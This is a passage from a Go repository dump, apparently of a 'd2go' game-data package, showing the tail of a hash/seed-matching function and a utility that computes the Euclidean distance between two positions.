(seedResult%mapHashDivisor) == (hash%mapHashDivisor) { 34 | incrementalValue = mapHashDivisor 35 | } 36 | } 37 | 38 | return 0, false 39 | } 40 | -------------------------------------------------------------------------------- /pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data" 5 | "math" 6 | ) 7 | 8 | func DistanceFromPoint(from data.Position, to data.Position) int { 9 | first := math.Pow(float64(to.X-from.X), 2) 10 | second := math.Pow(float64(to.Y-from.Y), 2) 11 | 12 | return int(math.Sqrt(first + second)) 13 | } 14 | --------------------------------------------------------------------------------